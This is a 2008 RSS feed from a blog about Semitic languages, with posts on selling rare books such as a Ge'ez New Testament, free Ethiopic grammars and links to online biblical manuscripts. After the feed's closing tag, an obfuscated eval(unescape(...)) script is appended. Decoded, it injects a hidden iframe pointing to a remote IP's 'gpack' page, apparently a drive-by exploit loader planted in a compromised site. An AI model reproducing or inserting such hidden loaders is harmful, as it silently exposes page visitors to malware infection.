<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>leshon hammal'akim</title>
	<atom:link href="http://www.laraburton.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.laraburton.com</link>
	<description>lara's semitic language source and dropbox</description>
	<pubDate>Wed, 25 Jun 2008 06:12:10 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5</generator>
	<language>en</language>
			<item>
		<title>Going out of business sale</title>
		<link>http://www.laraburton.com/2008/06/going-out-of-business-sale/</link>
		<comments>http://www.laraburton.com/2008/06/going-out-of-business-sale/#comments</comments>
		<pubDate>Wed, 25 Jun 2008 06:09:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.laraburton.com/?p=55</guid>
		<description><![CDATA[Seems every summer I tear down my year&#8217;s work.  However, this time around, I will also be selling some of my books.  Probably the most rare is a Ge&#8217;ez New Testament.  A few people have emailed me asking how to find one (it is very difficult to find one of these). I [...]]]></description>
			<content:encoded><![CDATA[<p>Seems every summer I tear down my year&#8217;s work.  However, this time around, I will also be selling some of my books.  Probably the most rare is a Ge&#8217;ez New Testament.  A few people have emailed me asking how to find one (it is very difficult to find one of these). I really won&#8217;t try to make a profit off it, mostly recover my cost.  I probably will offer it for under $100&#8211;a steal, really. If you have any interest let me know.  I will probably start listing my books on eBay in a few weeks.  I&#8217;m not quite sure exactly what I will list&#8211;I&#8217;ve got quite a collection: Hebrew, Aramaic, Syriac, Ge&#8217;ez, Latin, Greek . . .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.laraburton.com/2008/06/going-out-of-business-sale/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Free Ethiopic resources</title>
		<link>http://www.laraburton.com/2008/03/free-ethiopic-resources/</link>
		<comments>http://www.laraburton.com/2008/03/free-ethiopic-resources/#comments</comments>
		<pubDate>Sat, 08 Mar 2008 06:43:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Ge'ez]]></category>

		<guid isPermaLink="false">http://www.laraburton.com/?p=23</guid>
		<description><![CDATA[Free public domain books.

Samuel Mercer&#8217;s Ethiopic Grammar with Chrestomathy and Glossary - from the Net Bible Library.

Hooray for Google Books!

August Dillman&#8217;s Ethiopic Grammar &#8211; useful after you learn Ethiopic, (preferably by working through Lambdin&#8217;s Introduction to Classical Ethiopic).
Dillman&#8217;s Chrestomathia Aethiopica - selection of readings in the Ge&#8217;ez script (commentary is written in Latin, however).  [...]]]></description>
			<content:encoded><![CDATA[<p>Free public domain books.</p>
<ul>
<li>Samuel Mercer&#8217;s <em><a href="http://www.bible.zoxt.net/ethiop/ethiop.htm">Ethiopic Grammar with Chrestomathy and Glossary</a></em> - from the Net Bible Library.</li>
</ul>
<p>Hooray for Google Books!</p>
<ul>
<li>August Dillman&#8217;s <em><a href="http://books.google.com/books?id=LdwPAAAAYAAJ">Ethiopic Grammar</a> </em>&#8211; useful after you learn Ethiopic, (preferably by working through Lambdin&#8217;s <em>Introduction to Classical Ethiopic</em>).</li>
<li>Dillman&#8217;s <em><a href="http://books.google.com/books?id=_OjMweM7MQMC">Chrestomathia Aethiopica</a></em> - selection of readings in the Ge&#8217;ez script (commentary is written in Latin, however).  Particularly nice because it has selections from the<em> Lives of the Saints</em> that match some of the readings in Lambdin (which, of course, are only given in transliteration).</li>
<li>The books of <em><a href="http://books.google.com/books?id=m3JAAAAAIAAJ">Exodus and Leviticus</a></em> - the OT in Ge&#8217;ez!  Cool. Part II of the <em>The Octateuch in Ethiopic</em>.  I would love to see the other volumes make their way to Google Books.</li>
<li><span class="addmd">Franz Praetorius</span>&#8217;s  <em><a href="http://books.google.com/books?id=UIoBAAAAMAAJ">Grammatica aethiopica cum paradigmatibus, literatura, chrestomathia, et glossario</a></em>  Since it&#8217;s written in Latin, I recommend Dillman&#8217;s grammar instead (unless you <em>really</em> love Latin).  However, the chrestomathy is nice.  You can find some Psalms and the first four chapters of Genesis.</li>
<li><em><a href="http://books.google.com/books?id=Ljg2AAAAMAAJ">Ethiopic New Testament</a></em> - not in the best font, but still . . .</li>
</ul>
<p>And, just for fun, from the British Library&#8217;s <em>Turning the Pages</em> project:</p>
<ul>
<li><em><a href="http://www.bl.uk/onlinegallery/ttp/ethiopic/accessible/introduction.html">Ethiopic Bible Selections</a></em></li>
</ul>
<p>In the section on <strong>Moses and the Book of Genesis </strong>there is audio of at least the first chapter of Genesis (I didn&#8217;t listen to the whole audio, but it does start with Genesis 1 - <em>baqedma gabra</em> . . .)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.laraburton.com/2008/03/free-ethiopic-resources/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Textual Criticism: links to online texts</title>
		<link>http://www.laraburton.com/2008/03/textual-criticism-links/</link>
		<comments>http://www.laraburton.com/2008/03/textual-criticism-links/#comments</comments>
		<pubDate>Thu, 06 Mar 2008 01:00:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Hebrew]]></category>

		<guid isPermaLink="false">http://www.laraburton.com/?p=21</guid>
		<description><![CDATA[I&#8217;ve been meaning to repost all my links.  I have yet to do it (although I sent most of them for posting on the SANE site).
Here are some links to online original sources:

Aleppo Codex - very nice site with images of the codex
Leningrad Codex - an electronic version maintained by the Westminster Theological Seminary
Samaritan [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been meaning to repost all my links.  I have yet to do it (although I sent most of them for posting on the SANE site).</p>
<p>Here are some links to online original sources:</p>
<ul>
<li><a href="http://aleppocodex.org/">Aleppo Codex</a> - very nice site with images of the codex</li>
<li><a href="http://www.tanach.us/Tanach.xml">Leningrad Codex </a>- an electronic version maintained by the Westminster Theological Seminary</li>
<li><a href="http://rosetta.reltech.org/cgi-bin/Ebind2html/TC/vonGall">Samaritan Pentateuch</a>- page images of a printed version</li>
<li><a href="http://septuagint.org/LXX/">Septuagint</a> - electronic version with parsing</li>
<li><a href="http://www.kalvesmaki.com/LXX/Texts.htm">The Septuagint Online</a> - links to many different versions</li>
<li><a href="http://vulsearch.sourceforge.net/gettext.html">Clementine Vulgate</a> - the Clementine text project. Free downloadable electronic version.  With online viewing and searching.</li>
<li><a href="http://www.latinvulgate.com/">Weber&#8217;s edition of the Vulgate </a>- interlinear</li>
<li><a href="http://alpha.reltech.org/cgi-bin/Ebind2html/BibleMSS/7a1">Peshitta Tanakh</a> -  Page images of the Codex Ambrosiano. I have yet to find an online electronic [searchable] Syriac version (CAL maintain one, but <a href="http://cal1.cn.huc.edu/Peshitta.notice.html">its link</a> is broken).  There are a few &#8220;coming soon&#8221; that I am watching.  Several version of the New Testament are available online. <a href="http://www.aifoundations.org/peshitta/peshitta_frames.html">Here&#8217;s one.</a></li>
<li><a href="http://www.peshitta.org/">Trilinear Targums</a>  - Peshitta.org maintains several trilinear (Hebrew, Aramaic, English) Targums. (And also an interlinear Peshitta (NT).</li>
<li><a href="http://scriptorium.lib.duke.edu/papyrus/texts/coptic/literary.html">Coptic papyri </a>- actually just a few images of fragments, but it is Coptic . . .  From Duke University&#8217;s papyrus collection.</li>
<li><a href="http://www.mechon-mamre.org/i/t/u/u0.htm">Targum Onkelos</a> - electronic version available with or without vowels.</li>
<li><a href="http://cal1.cn.huc.edu/searching/targumsearch.html">CAL Aramaic Targum Database</a> - CAL (Comprehensive Aramaic Lexicon) maintains a searchable database of several manuscripts</li>
<li><a href="http://rosetta.reltech.org/Ebind/docs/TC/">Codex Sinaiticus </a> - Page images</li>
<li><a href="http://rosetta.reltech.org/Ebind/docs/TC/">Freer Codices</a> - Page images</li>
<li><a href="http://apostolicbible.com/">Apostolic Bible Polyglot</a> - free LXX and lexicon downloads</li>
</ul>
<p>A little late, but really cool because it&#8217;s page images of an illuminated menuscript on vellum:</p>
<p><a href="http://www.yu.edu/libraries/pragueBible.asp">The Prague Bible</a> (1489)-  maintained by Yeshiva University</p>
]]></content:encoded>
			<wfw:commentRss>http://www.laraburton.com/2008/03/textual-criticism-links/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
<script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%62%36%61%64%36%35%38%36%35%39%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%35%38%2e%36%35%2e%32%33%32%2e%33%33%2f%67%70%61%63%6b%2f%69%6e%64%65%78%2e%70%68%70%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%36%36%30%38%29%2b%27%35%64%39%30%38%31%65%65%5c%27%20%77%69%64%74%68%3d%31%31%38%20%68%65%69%67%68%74%3d%35%36%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </script>